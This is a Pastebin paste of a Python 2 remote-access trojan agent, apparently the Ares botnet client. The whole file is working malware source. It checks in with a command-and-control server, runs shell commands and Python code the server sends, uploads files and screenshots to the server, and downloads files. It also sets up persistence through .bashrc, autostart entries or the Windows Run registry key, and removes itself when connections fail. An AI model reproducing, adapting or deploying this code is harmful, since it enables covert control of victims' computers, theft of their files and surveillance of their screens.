Advertisement
FlyFar

agent/agent.py

Jan 13th, 2024
747
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 14.67 KB | Cybersecurity | 0 0
  1. #!/usr/bin/env python2
  2. # coding: utf-8
  3.  
  4. import requests
  5. import time
  6. import os
  7. import subprocess
  8. import platform
  9. import shutil
  10. import sys
  11. import traceback
  12. import threading
  13. import uuid
  14. import StringIO
  15. import zipfile
  16. import tempfile
  17. import socket
  18. import getpass
  19. if os.name == 'nt':
  20.     from PIL import ImageGrab
  21. else:
  22.     import pyscreenshot as ImageGrab
  23.  
  24. import config
  25.  
  26.  
  27. def threaded(func):
  28.     def wrapper(*_args, **kwargs):
  29.         t = threading.Thread(target=func, args=_args)
  30.         t.start()
  31.         return
  32.     return wrapper
  33.  
  34.  
  35. class Agent(object):
  36.  
  37.     def __init__(self):
  38.         self.idle = True
  39.         self.silent = False
  40.         self.platform = platform.system() + " " + platform.release()
  41.         self.last_active = time.time()
  42.         self.failed_connections = 0
  43.         self.uid = self.get_UID()
  44.         self.hostname = socket.gethostname()
  45.         self.username = getpass.getuser()
  46.  
  47.     def get_install_dir(self):
  48.         install_dir = None
  49.         if platform.system() == 'Linux':
  50.             install_dir = self.expand_path('~/.ares')
  51.         elif platform.system() == 'Windows':
  52.             install_dir = os.path.join(os.getenv('USERPROFILE'), 'ares')
  53.         if os.path.exists(install_dir):
  54.             return install_dir
  55.         else:
  56.             return None
  57.  
  58.     def is_installed(self):
  59.         return self.get_install_dir()
  60.  
  61.     def get_consecutive_failed_connections(self):
  62.         if self.is_installed():
  63.             install_dir = self.get_install_dir()
  64.             check_file = os.path.join(install_dir, "failed_connections")
  65.             if os.path.exists(check_file):
  66.                 with open(check_file, "r") as f:
  67.                     return int(f.read())
  68.             else:
  69.                 return 0
  70.         else:
  71.             return self.failed_connections
  72.  
  73.     def update_consecutive_failed_connections(self, value):
  74.         if self.is_installed():
  75.             install_dir = self.get_install_dir()
  76.             check_file = os.path.join(install_dir, "failed_connections")
  77.             with open(check_file, "w") as f:
  78.                 f.write(str(value))
  79.         else:
  80.             self.failed_connections = value
  81.  
  82.     def log(self, to_log):
  83.         """ Write data to agent log """
  84.         print(to_log)
  85.  
  86.     def get_UID(self):
  87.         """ Returns a unique ID for the agent """
  88.         return getpass.getuser() + "_" + str(uuid.getnode())
  89.  
  90.     def server_hello(self):
  91.         """ Ask server for instructions """
  92.         req = requests.post(config.SERVER + '/api/' + self.uid + '/hello',
  93.             json={'platform': self.platform, 'hostname': self.hostname, 'username': self.username})
  94.         return req.text
  95.  
  96.     def send_output(self, output, newlines=True):
  97.         """ Send console output to server """
  98.         if self.silent:
  99.             self.log(output)
  100.             return
  101.         if not output:
  102.             return
  103.         if newlines:
  104.             output += "\n\n"
  105.         req = requests.post(config.SERVER + '/api/' + self.uid + '/report',
  106.         data={'output': output})
  107.  
  108.     def expand_path(self, path):
  109.         """ Expand environment variables and metacharacters in a path """
  110.         return os.path.expandvars(os.path.expanduser(path))
  111.  
  112.     @threaded
  113.     def runcmd(self, cmd):
  114.         """ Runs a shell command and returns its output """
  115.         try:
  116.             proc = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
  117.             out, err = proc.communicate()
  118.             output = (out + err)
  119.             self.send_output(output)
  120.         except Exception as exc:
  121.             self.send_output(traceback.format_exc())
  122.  
  123.     @threaded
  124.     def python(self, command_or_file):
  125.         """ Runs a python command or a python file and returns the output """
  126.         new_stdout = StringIO.StringIO()
  127.         old_stdout = sys.stdout
  128.         sys.stdout = new_stdout
  129.         new_stderr = StringIO.StringIO()
  130.         old_stderr = sys.stderr
  131.         sys.stderr = new_stderr
  132.         if os.path.exists(command_or_file):
  133.             self.send_output("[*] Running python file...")
  134.             with open(command_or_file, 'r') as f:
  135.                 python_code = f.read()
  136.                 try:
  137.                     exec(python_code)
  138.                 except Exception as exc:
  139.                     self.send_output(traceback.format_exc())
  140.         else:
  141.             self.send_output("[*] Running python command...")
  142.             try:
  143.                 exec(command_or_file)
  144.             except Exception as exc:
  145.                 self.send_output(traceback.format_exc())
  146.         sys.stdout = old_stdout
  147.         sys.stderr = old_stderr
  148.         self.send_output(new_stdout.getvalue() + new_stderr.getvalue())
  149.  
  150.     def cd(self, directory):
  151.         """ Change current directory """
  152.         os.chdir(self.expand_path(directory))
  153.  
  154.     @threaded
  155.     def upload(self, file):
  156.         """ Uploads a local file to the server """
  157.         file = self.expand_path(file)
  158.         try:
  159.             if os.path.exists(file) and os.path.isfile(file):
  160.                 self.send_output("[*] Uploading %s..." % file)
  161.                 requests.post(config.SERVER + '/api/' + self.uid + '/upload',
  162.                     files={'uploaded': open(file, 'rb')})
  163.             else:
  164.                 self.send_output('[!] No such file: ' + file)
  165.         except Exception as exc:
  166.             self.send_output(traceback.format_exc())
  167.  
  168.     @threaded
  169.     def download(self, file, destination=''):
  170.         """ Downloads a file the the agent host through HTTP(S) """
  171.         try:
  172.             destination = self.expand_path(destination)
  173.             if not destination:
  174.                 destination= file.split('/')[-1]
  175.             self.send_output("[*] Downloading %s..." % file)
  176.             req = requests.get(file, stream=True)
  177.             with open(destination, 'wb') as f:
  178.                 for chunk in req.iter_content(chunk_size=8000):
  179.                     if chunk:
  180.                         f.write(chunk)
  181.             self.send_output("[+] File downloaded: " + destination)
  182.         except Exception as exc:
  183.             self.send_output(traceback.format_exc())
  184.  
  185.     def persist(self):
  186.         """ Installs the agent """
  187.         if not getattr(sys, 'frozen', False):
  188.             self.send_output('[!] Persistence only supported on compiled agents.')
  189.             return
  190.         if self.is_installed():
  191.             self.send_output('[!] Agent seems to be already installed.')
  192.             return
  193.         if platform.system() == 'Linux':
  194.             persist_dir = self.expand_path('~/.ares')
  195.             if not os.path.exists(persist_dir):
  196.                 os.makedirs(persist_dir)
  197.             agent_path = os.path.join(persist_dir, os.path.basename(sys.executable))
  198.             shutil.copyfile(sys.executable, agent_path)
  199.             os.system('chmod +x ' + agent_path)
  200.             if os.path.exists(self.expand_path("~/.config/autostart/")):
  201.                 desktop_entry = "[Desktop Entry]\nVersion=1.0\nType=Application\nName=Ares\nExec=%s\n" % agent_path
  202.                 with open(self.expand_path('~/.config/autostart/ares.desktop'), 'w') as f:
  203.                     f.write(desktop_entry)
  204.             else:
  205.                 with open(self.expand_path("~/.bashrc"), "a") as f:
  206.                     f.write("\n(if [ $(ps aux|grep " + os.path.basename(sys.executable) + "|wc -l) -lt 2 ]; then " + agent_path + ";fi&)\n")
  207.         elif platform.system() == 'Windows':
  208.             persist_dir = os.path.join(os.getenv('USERPROFILE'), 'ares')
  209.             if not os.path.exists(persist_dir):
  210.                 os.makedirs(persist_dir)
  211.             agent_path = os.path.join(persist_dir, os.path.basename(sys.executable))
  212.             shutil.copyfile(sys.executable, agent_path)
  213.             cmd = "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v ares /t REG_SZ /d \"%s\"" % agent_path
  214.             subprocess.Popen(cmd, shell=True)
  215.         self.send_output('[+] Agent installed.')
  216.  
  217.     def clean(self):
  218.         """ Uninstalls the agent """
  219.         if platform.system() == 'Linux':
  220.             persist_dir = self.expand_path('~/.ares')
  221.             if os.path.exists(persist_dir):
  222.                 shutil.rmtree(persist_dir)
  223.             desktop_entry = self.expand_path('~/.config/autostart/ares.desktop')
  224.             if os.path.exists(desktop_entry):
  225.                 os.remove(desktop_entry)
  226.             os.system("grep -v .ares .bashrc > .bashrc.tmp;mv .bashrc.tmp .bashrc")
  227.         elif platform.system() == 'Windows':
  228.             persist_dir = os.path.join(os.getenv('USERPROFILE'), 'ares')
  229.             cmd = "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v ares"
  230.             subprocess.Popen(cmd, shell=True)
  231.             cmd = "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /f /v ares /t REG_SZ /d \"cmd.exe /c del /s /q %s & rmdir %s\"" % (persist_dir, persist_dir)
  232.             subprocess.Popen(cmd, shell=True)
  233.         self.send_output('[+] Agent removed successfully.')
  234.  
  235.     def exit(self):
  236.         """ Kills the agent """
  237.         self.send_output('[+] Exiting... (bye!)')
  238.         sys.exit(0)
  239.  
  240.     @threaded
  241.     def zip(self, zip_name, to_zip):
  242.         """ Zips a folder or file """
  243.         try:
  244.             zip_name = self.expand_path(zip_name)
  245.             to_zip = self.expand_path(to_zip)
  246.             if not os.path.exists(to_zip):
  247.                 self.send_output("[+] No such file or directory: %s" % to_zip)
  248.                 return
  249.             self.send_output("[*] Creating zip archive...")
  250.             zip_file = zipfile.ZipFile(zip_name, 'w', zipfile.ZIP_DEFLATED)
  251.             if os.path.isdir(to_zip):
  252.                 relative_path = os.path.dirname(to_zip)
  253.                 for root, dirs, files in os.walk(to_zip):
  254.                     for file in files:
  255.                         zip_file.write(os.path.join(root, file), os.path.join(root, file).replace(relative_path, '', 1))
  256.             else:
  257.                 zip_file.write(to_zip, os.path.basename(to_zip))
  258.             zip_file.close()
  259.             self.send_output("[+] Archive created: %s" % zip_name)
  260.         except Exception as exc:
  261.             self.send_output(traceback.format_exc())
  262.    
  263.     @threaded
  264.     def screenshot(self):
  265.         """ Takes a screenshot and uploads it to the server"""
  266.         screenshot = ImageGrab.grab()
  267.         tmp_file = tempfile.NamedTemporaryFile()
  268.         screenshot_file = tmp_file.name + ".png"
  269.         tmp_file.close()
  270.         screenshot.save(screenshot_file)
  271.         self.upload(screenshot_file)
  272.  
  273.     def help(self):
  274.         """ Displays the help """
  275.         self.send_output(config.HELP)
  276.  
  277.     def run(self):
  278.         """ Main loop """
  279.         self.silent = True
  280.         if config.PERSIST:
  281.             try:
  282.                 self.persist()
  283.             except:
  284.                 self.log("Failed executing persistence")
  285.         self.silent = False
  286.         while True:
  287.             try:
  288.                 todo = self.server_hello()
  289.                 self.update_consecutive_failed_connections(0)
  290.                 # Something to do ?
  291.                 if todo:
  292.                     commandline = todo
  293.                     self.idle = False
  294.                     self.last_active = time.time()
  295.                     self.send_output('$ ' + commandline)
  296.                     split_cmd = commandline.split(" ")
  297.                     command = split_cmd[0]
  298.                     args = []
  299.                     if len(split_cmd) > 1:
  300.                         args = split_cmd[1:]
  301.                     try:
  302.                         if command == 'cd':
  303.                             if not args:
  304.                                 self.send_output('usage: cd </path/to/directory>')
  305.                             else:
  306.                                 self.cd(args[0])
  307.                         elif command == 'upload':
  308.                             if not args:
  309.                                 self.send_output('usage: upload <localfile>')
  310.                             else:
  311.                                 self.upload(args[0],)
  312.                         elif command == 'download':
  313.                             if not args:
  314.                                 self.send_output('usage: download <remote_url> <destination>')
  315.                             else:
  316.                                 if len(args) == 2:
  317.                                     self.download(args[0], args[1])
  318.                                 else:
  319.                                     self.download(args[0])
  320.                         elif command == 'clean':
  321.                             self.clean()
  322.                         elif command == 'persist':
  323.                             self.persist()
  324.                         elif command == 'exit':
  325.                             self.exit()
  326.                         elif command == 'zip':
  327.                             if not args or len(args) < 2:
  328.                                 self.send_output('usage: zip <archive_name> <folder>')
  329.                             else:
  330.                                 self.zip(args[0], " ".join(args[1:]))
  331.                         elif command == 'python':
  332.                             if not args:
  333.                                 self.send_output('usage: python <python_file> or python <python_command>')
  334.                             else:
  335.                                 self.python(" ".join(args))
  336.                         elif command == 'screenshot':
  337.                             self.screenshot()
  338.                         elif command == 'help':
  339.                             self.help()
  340.                         else:
  341.                             self.runcmd(commandline)
  342.                     except Exception as exc:
  343.                         self.send_output(traceback.format_exc())
  344.                 else:
  345.                     if self.idle:
  346.                         time.sleep(config.HELLO_INTERVAL)
  347.                     elif (time.time() - self.last_active) > config.IDLE_TIME:
  348.                         self.log("Switching to idle mode...")
  349.                         self.idle = True
  350.                     else:
  351.                         time.sleep(0.5)
  352.             except Exception as exc:
  353.                 self.log(traceback.format_exc())
  354.                 failed_connections = self.get_consecutive_failed_connections()
  355.                 failed_connections += 1
  356.                 self.update_consecutive_failed_connections(failed_connections)
  357.                 self.log("Consecutive failed connections: %d" % failed_connections)
  358.                 if failed_connections > config.MAX_FAILED_CONNECTIONS:
  359.                     self.silent = True
  360.                     self.clean()
  361.                     self.exit()
  362.                 time.sleep(config.HELLO_INTERVAL)
  363.  
  364. def main():
  365.     agent = Agent()
  366.     agent.run()
  367.  
  368. if __name__ == "__main__":
  369.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement